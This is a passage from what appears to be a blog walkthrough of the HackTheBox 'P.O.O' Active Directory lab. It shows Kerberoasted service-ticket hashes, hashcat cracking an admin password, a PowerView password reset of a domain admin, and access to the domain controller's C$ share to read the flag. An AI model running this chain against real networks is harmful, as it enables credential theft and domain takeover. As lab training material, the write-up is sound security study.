[*] Hash                   : $krb5tgs$23$*p00_hr$intranet.poo$HR_peoplesoft/intranet.poo:1433@intranet.poo*$96F1BACA966D3D62950D216A6C2BEB5B$C527500F4A899B21E24210C836A6A62CAEB21A4514B488DEBD492400EA470195CBE89EB7FF78DC63E4D42FBDB74B9E5A82C0B0CB98C67BCF37CA08BEEE523541436BFF84171A1CC7AA1469944C50A51F3515977391B16A08515FE65B554A4F57E51A195ED870CCB32C8813A23EEF121330156F1BD936D42A032937EC4FA9394E4C8FF938D6B3A42A7BAD33821AC56777E7CA64ECA6CE4D90D51E98239012C606D69E52096206118596FB6C8A18F03EBEC9834B82DFAFA9F28D910AFFB95D4D506AFFF1A75D75F834805727995ED4CB514FC5D506F6571511F71F7735EF14C035EC4FF6E6EC611C8FEB81C2A35750121C345ED7DA5A3D06C9C4601AA01133F281B5345B56FB195C4FF6A5D597FE1606F27390BF9E59D1910EB9CC1FB4B327C3CC03BABDB89F0F4AB9E2E72975C6F89C71A3DFECFBC5A1F17BB5009EA21A5E581EDD86B82B3F1031CF1124426230E86824AFBD116FF5ABDC8CA641E342B2CC3AF7E0049D86D1FAD79C4C66BC56D15BC34A72C89F405F02D302F87AB9966451D02910EC94EEEB7E26EB1C33F0C903FDC630A2A04085B5799FB959C283D64BEF997EE328C68452F4F232ECA61ED64A7C901E7835C96EC9C15327823CE9E0B15C92743BC1FF5A0CCC65BA02972AA044F25B8AD4FE04106C42E315EA35D776E39D454F4FC146BCC1CD9CD82A90DB064B957901EC00121471FDFAF19C0B3BE65076CCF37DE04A7EE4681E8BF069DDD3EA540F96303F322B4C557CB5C3D4015111F64591220EAC6F0F585FE196F2B15B42F0C06DA565821A16EFD10A304D6E0415BEF1D3A9B0CB08968F7A4375FEC80C9B5DCB43A7E7FA87A233760995C6F43499AB59CC4B7F3A881EEB3BA1CEC6D3FD5A13C559BF57A5A0FB74A0D63BF38194E75171356C03CCA450FFF009FB7A42C5E2A485124C64EF8103C5C192885103E772F66545B16F56C1682C2C38F2A3FBF3D839350FE8F240E22D580D0100C6B078C95DBCAC4857D891495DEF08D0553BC404BFA6B104DE63BFA0C525F1B2E9184F5487117C55D803321585DE8EE15860443C3CDBAD2C31CCB83EDE64E0713BF7A230C3395170B6575A1F263864D62416E00A1C365D9EB14011D57C6B702DE66817A21C43B4CA22EB6C3101DD437B38D6DC0F9B5238DC3E483F25CCD5526BF3B501EDF836B18BD4C05788B509F162C7DBC55A1E397A6938BF6F254000F996FB556738DE1868D7E2F175814302520A01B744103CCB2E5C78F36363A3A3C10A97515A929571241C1BE1654DA889AB3FB936E157F934AC462E7B772D2FA94349CE975C0D915982734D031F14B9134B20ECD848FF5C2E13D6B515772A123554F4CD6A18EF83FA1B41B1311DEC29ECC892D4394EA5E95AC425B5499EF4A36F1EC01258C205F9E3BEEE5BAD9F4CE2EE08087F3F5027B763FDC5283EFA52DC18DDD83B2CAB5859F26BD7DB56923273CB591BA9DFC4A760520D6D43CD24F0398060109A5BC5B7F2BBFB3C74BE420345F88C4B4334742257DF0C5BAF324878A83DE29A9B43C8CC8FC9399B8C8583DA80AE0B0558EAE2B7AB963CB600CA8A8D68986D82E02721101CC18930E2E7813570139B9FE559AB0491AE7C9A5519CDFED2B0AB937D939C5F7035A40FA4F5E9FD37516040490D3C62244E291073B5E8320FACADF75F93AC2C16C7713D6CE253632CCEFDFDF45EF6BC


[*] SamAccountName         : p00_adm
[*] DistinguishedName      : CN=p00_adm,CN=Users,DC=intranet,DC=poo
[*] ServicePrincipalName   : cyber_audit/intranet.poo:443
[*] PwdLastSet             : 5/11/2018 6:26:14 AM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*p00_adm$intranet.poo$cyber_audit/intranet.poo:443@intranet.poo*$CFCAF72701BB5A68A3B03F79A2E059CD$E108C2087F108DDE9D66E4302ACACF17B8B01DA7FC63EE9157582CEFEC3D1F2D759DE343223418856886BDA785B46038A1F1AFDEAF4B86105451AE1B91CB9ED25D04841FFF54E00AB388BF7D32A705E0CC9B9E601DF59E70ADC74FABD1E6C9A12AA97BA5F8B2F3A42BE387D8714B1F405A8BE6816A41998F888809D0A44FF9DE4008D5D685961D3C362B3B54747CDFF800C9AD5C28CAC208840A7437A4984C16F99B63A275BE3B8F5C3753C5269EBED9168A7BFD3B86BE67B3354EE992A8DA410EE188D68E8FBB6702D6798E541379D7A8FF4ECD64222975AA95672C2C3C68450B2172ECF9AFEE9C16547355E60A2FF555318A032D8FDBB3A216DA1A9F52798CF0A7EC788375E7EEFF0E302D627DFC994E08F3D991273C6A00CBBE70061455B9DA8E00E4C137D5A19C358E56A898C5478FA0BC76FE85CE32956D84AD4E87983B72754B0CBDE56369492CD267B657A873654BA5184C6C3EA921707A3BC9C9BD302829AC39ED2848F912E0F2634C4933A98F344FC68FEF1A425B77A35967DDBE071D5202A4AC0251E5970253ED787D4FDA7C35D112AC99DB9904BB1C78771339ABBDE187FDCEA3A41F98766D15E5C7180359A98220430FC192371B8582FA226F6517F22CF5D041BB6F1EA3B4B52DE6B232D87EFF7A6678F7F52128EDDB141FAD85AA294CE57DBB0A6BA6089CC1AE8346503486C5E3CE6E6B1609A6EB95778B22FE36F85AA2F641DAF382B3AA24134731881D83F1F7B7BCD45A5A571B251657B6B84AC2EAD6938175B6E711B75ACE101329EB8DDE923FF1B25143F9AF4DCF0F1B31E6D0908FCA6D50DAF4FDC3226A7A864EC95E4EBF98CE113F5376936C0F8F00F97691E02C10C4C44F2A2F33FE168E0A9AFD3B4838625E1DC3C1E43B7E28799A8B074C4E319E58663F8D8698258D313E020D06D3239B48C307262ABED6596D29DF30B48A7E65E9EC6B40B557C0DD56168506F460CA10334E907026806DA7756BD286C6A108C02F314C8DB09720F7496351FA6D2FFB079CD77B2C5D90AB57AE95858F71038550ACCAED59A1F1FE741599840282186AFD86A390F3537A40AA23A4FBAE3A170D9EE02E4C2AD3F8DCF5AAB46B1A142FD35EFD1CA5D0F0BB3DCDE73B540326447AAB8A14BE09228F1920C32DD799573DDFA303B058DFDD471B2767940FEF29B5F11EE65BF772DD5220D24F30EAA6C16F7C032E39F5E8FC25D204F88F6A00CA68082DFB4AFD32F2E5E2B8DC617A717C90B171219F21176A692D40DC66842B85BAD047CB6DBC35545E141F1ED33C14DF6B776D4483A96799696B840A2EDDBF5B3966272D7146C66BD2E5B4F7C7C6BE0060EDFC54F02E60149348F3A5D5C8B7579090622FD9976F9A8A7783DA478C5A8781E059402A45712FFF03E0A3630F45231ACEE74D165BC1887DAD8DF8CF756BD9D03770D62FE2A1FB9745FA6569C0AEEFD10FF249EEA527E3324D4A2213263106F4C89B818A97AF9D8F594E03BDB2CE68FFAE481160CCFEDAE6735B1339F4BC6132D295F6D76B5078D98A7D2534136C90AD37F57EA377D4D503BA1F35B466C5BEA45D87B1E935971E08908A372FC16DD46A26874ACDE7B264E6B1C41CB87DD167928D7D5A6BFF71D4FDBC7C4E2D0E5E3E19939E774B08CC31F228B8E69A391436FF4CEDF3889CBB90DF17B0ABEB258CA3914728F11D23846CFB19D3


evil-winrm-py PS C:\Users\Administrator\Documents>

Cracking with rockyou.txt failed, so I iterated through all the wordlists in the SecLists password collection, and p00_adm cracked against the keyboard-walk list:

  
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ hashcat -m 13100 hashes.txt /usr/share/Seclists/Passwords/Keyboard-Walks/Keyboard-Combinations.txt -O
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-skylake-avx512-11th Gen Intel(R) Core(TM) i7-1165G7 @ 2.80GHz, 6781/13626 MB (2048 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 31

Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Optimized-Kernel
* Zero-Byte
* Not-Iterated

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 2 MB

Dictionary cache built:
* Filename..: /usr/share/Seclists/Passwords/Keyboard-Walks/Keyboard-Combinations.txt
* Passwords.: 9608
* Bytes.....: 84528
* Keyspace..: 9608
* Runtime...: 0 secs

$krb5tgs$23$*p00_adm$intranet.poo$cyber_audit/intranet.poo:443@intranet.poo*$cfcaf72701bb5a68a3b03f79a2e059cd$e108c2087f108dde9d66e4302acacf17b8b01da7fc63ee9157582cefec3d1f2d759de343223418856886bda785b46038a1f1afdeaf4b86105451ae1b91cb9ed25d04841fff54e00ab388bf7d32a705e0cc9b9e601df59e70adc74fabd1e6c9a12aa97ba5f8b2f3a42be387d8714b1f405a8be6816a41998f888809d0a44ff9de4008d5d685961d3c362b3b54747cdff800c9ad5c28cac208840a7437a4984c16f99b63a275be3b8f5c3753c5269ebed9168a7bfd3b86be67b3354ee992a8da410ee188d68e8fbb6702d6798e541379d7a8ff4ecd64222975aa95672c2c3c68450b2172ecf9afee9c16547355e60a2ff555318a032d8fdbb3a216da1a9f52798cf0a7ec788375e7eeff0e302d627dfc994e08f3d991273c6a00cbbe70061455b9da8e00e4c137d5a19c358e56a898c5478fa0bc76fe85ce32956d84ad4e87983b72754b0cbde56369492cd267b657a873654ba5184c6c3ea921707a3bc9c9bd302829ac39ed2848f912e0f2634c4933a98f344fc68fef1a425b77a35967ddbe071d5202a4ac0251e5970253ed787d4fda7c35d112ac99db9904bb1c78771339abbde187fdcea3a41f98766d15e5c7180359a98220430fc192371b8582fa226f6517f22cf5d041bb6f1ea3b4b52de6b232d87eff7a6678f7f52128eddb141fad85aa294ce57dbb0a6ba6089cc1ae8346503486c5e3ce6e6b1609a6eb95778b22fe36f85aa2f641daf382b3aa24134731881d83f1f7b7bcd45a5a571b251657b6b84ac2ead6938175b6e711b75ace101329eb8dde923ff1b25143f9af4dcf0f1b31e6d0908fca6d50daf4fdc3226a7a864ec95e4ebf98ce113f5376936c0f8f00f97691e02c10c4c44f2a2f33fe168e0a9afd3b4838625e1dc3c1e43b7e28799a8b074c4e319e58663f8d8698258d313e020d06d3239b48c307262abed6596d29df30b48a7e65e9ec6b40b557c0dd56168506f460ca10334e907026806da7756bd286c6a108c02f314c8db09720f7496351fa6d2ffb079cd77b2c5d90ab57ae95858f71038550accaed59a1f1fe741599840282186afd86a390f3537a40aa23a4fbae3a170d9ee02e4c2ad3f8dcf5aab46b1a142fd35efd1ca5d0f0bb3dcde73b540326447aab8a14be09228f1920c32dd799573ddfa303b058dfdd471b2767940fef29b5f11ee65bf772dd5220d24f30eaa6c16f7c032e39f5e8fc25d204f88f6a00ca68082dfb4afd32f2e5e2b8dc617a717c90b171219f21176a692d40dc66842b85bad047cb6dbc35545e141f1ed33c14df6b776d4483a96799696b840a2eddbf5b3966272d7146c66bd2e5b4f7c7c6be0060edfc54f02e60149348f3a5d5c8b7579090622fd9976f9a8a7783da478c5a8781e059402a45712fff03e0a3630f45231acee74d165bc1887dad8df8cf756bd9d03770d62fe2a1fb9745fa6569c0aeefd10ff249eea527e3324d4a2213263106f4c89b818a97af9d8f594e03bdb2ce68ffae481160ccfedae6735b1339f4bc6132d295f6d76b5078d98a7d2534136c90ad37f57ea377d4d503ba1f35b466c5bea45d87b1e935971e08908a372fc16dd46a26874acde7b264e6b1c41cb87dd167928d7d5a6bff71d4fdbc7c4e2d0e5e3e19939e774b08cc31f228b8e69a391436ff4cedf3889cbb90df17b0abeb258ca3914728f11d23846cfb19d3:ZQ!5t4r
Approaching final keyspace - workload adjusted.           

                                                          
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: hashes.txt
Time.Started.....: Mon Nov  2 13:18:14 2026 (0 secs)
Time.Estimated...: Mon Nov  2 13:18:14 2026 (0 secs)
Kernel.Feature...: Optimized Kernel
Guess.Base.......: File (/usr/share/Seclists/Passwords/Keyboard-Walks/Keyboard-Combinations.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   120.4 kH/s (13.19ms) @ Accel:256 Loops:1 Thr:1 Vec:16
Recovered........: 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new), 1/2 (50.00%) Salts
Progress.........: 19216/19216 (100.00%)
Rejected.........: 0/19216 (0.00%)
Restore.Point....: 9608/9608 (100.00%)
Restore.Sub.#1...: Salt:1 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: )P(Oxcvb -> asdfjkl;12345
Hardware.Mon.#1..: Temp: 63c Util: 99%

Started: Mon Nov  2 13:18:11 2026
Stopped: Mon Nov  2 13:18:16 2026
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ 

Which gives us the credential:

intranet.poo/p00_adm:ZQ!5t4r

We can reset the MR3KS password using PowerView:

  
evil-winrm-py PS C:\Users\Administrator\Documents> upload /home/mark/Desktop/Tools/Windows/PowerSploit/Recon/PowerView.ps1
Uploading /home/mark/Desktop/Tools/Windows/PowerSploit/Recon/PowerView.ps1: 768kB [00:05, 133kB/s]
[+] File uploaded successfully as: C:\Users\Administrator\Documents\PowerView.ps1
evil-winrm-py PS C:\Users\Administrator\Documents> ls

    Directory: C:\Users\Administrator\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        11/2/2026   1:40 PM          32620 20261102134012_intranet.zip
-a----        11/2/2026   1:41 PM           1553 OTM1MzQ0ZGMtYjQyMS00OTQyLWEzMDYtZDVlNzVmNzkwNWVm.bin
-a----        11/2/2026   2:22 PM         770279 PowerView.ps1
-a----        11/2/2026   1:46 PM         446976 Rubeus.exe
-a----        11/2/2026   1:37 PM        1351680 SharpHound.exe
-a----        11/2/2026   1:56 PM        3124224 SigmaPotato.exe

evil-winrm-py PS C:\Users\Administrator\Documents> . .\PowerView.ps1
evil-winrm-py PS C:\Users\Administrator\Documents> $SecPassword = ConvertTo-SecureString 'ZQ!5t4r' -AsPlainText -Force
evil-winrm-py PS C:\Users\Administrator\Documents> $Cred = New-Object System.Management.Automation.PSCredential('POO\p00_adm', $SecPassword)
evil-winrm-py PS C:\Users\Administrator\Documents> $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
evil-winrm-py PS C:\Users\Administrator\Documents> Set-DomainUserPassword -Identity MR3KS -AccountPassword $UserPassword -Credential $Cred
evil-winrm-py PS C:\Users\Administrator\Documents>

Because that user is a domain admin, we can access the C$ share on the DC and read the final flag:

  
evil-winrm-py PS C:\Users\Administrator\Documents> net use \\dc\c$ /user:MR3KS 'Password123!'
The command completed successfully.

evil-winrm-py PS C:\Users\Administrator\Documents> dir \\dc\c$\users\

    Directory: \\dc\c$\users

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        3/15/2018   1:20 AM                Administrator
d-----        3/15/2018  12:38 AM                mr3ks
d-r---       11/21/2016   3:24 AM                Public

evil-winrm-py PS C:\Users\Administrator\Documents> dir \\dc\c$\users\mr3ks\desktop

    Directory: \\dc\c$\users\mr3ks\desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        3/26/2018   5:47 PM             37 flag.txt

evil-winrm-py PS C:\Users\Administrator\Documents> more \\dc\c$\users\mr3ks\desktop\flag.txt
POO{1196ef8bc523f084ad1732a38a0851d6}

Machines

Active Directory HackTheBox

This post is licensed under CC BY 4.0 by the author.

P.O.O

Overview

Walkthrough

Trending Tags